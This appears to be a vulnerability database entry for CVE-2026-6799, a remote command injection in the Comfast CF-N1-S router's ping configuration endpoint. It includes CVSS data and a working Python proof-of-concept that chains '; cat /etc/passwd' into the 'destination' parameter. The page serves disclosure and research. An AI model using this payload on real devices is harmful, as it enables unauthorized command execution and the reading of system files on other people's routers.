CVE-2026-6799

Description

A security flaw has been discovered in Comfast CF-N1-S 2.6.0.1. Affected by this issue is some unknown functionality of the file /cgi-bin/mbox-config?method=SET&section=ping_config of the component Endpoint. Performing a manipulation of the argument destination results in command injection. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Comfast CF-N1-S 2.6.0.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_cve_2026_6799(target_ip):
    """
    PoC for CVE-2026-6799 Command Injection in Comfast CF-N1-S
    """
    url = f"http://{target_ip}/cgi-bin/mbox-config"
    
    # Malicious payload to execute 'cat /etc/passwd' via command injection
    # Using semicolon to chain commands
    payload = "; cat /etc/passwd"
    
    params = {
        "method": "SET",
        "section": "ping_config",
        "destination": payload
    }
    
    try:
        response = requests.get(url, params=params, timeout=5)
        if response.status_code == 200:
            print("[+] Payload sent successfully. Check response for command output.")
            print(response.text)
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    target = "192.168.10.1" # Replace with target IP
    exploit_cve_2026_6799(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6799
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6799
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6799/
[4] VulDB https://vuldb.com/cve/CVE-2026-6799
[5] https://github.com/Blackhole23-Lab/-/blob/main/Comfast-CF-N1-S-Router-VUDB.md
[6] https://vuldb.com/submit/795203
[7] https://vuldb.com/vuln/358492
[8] https://vuldb.com/vuln/358492/cti

Raw JSON Data

JSON

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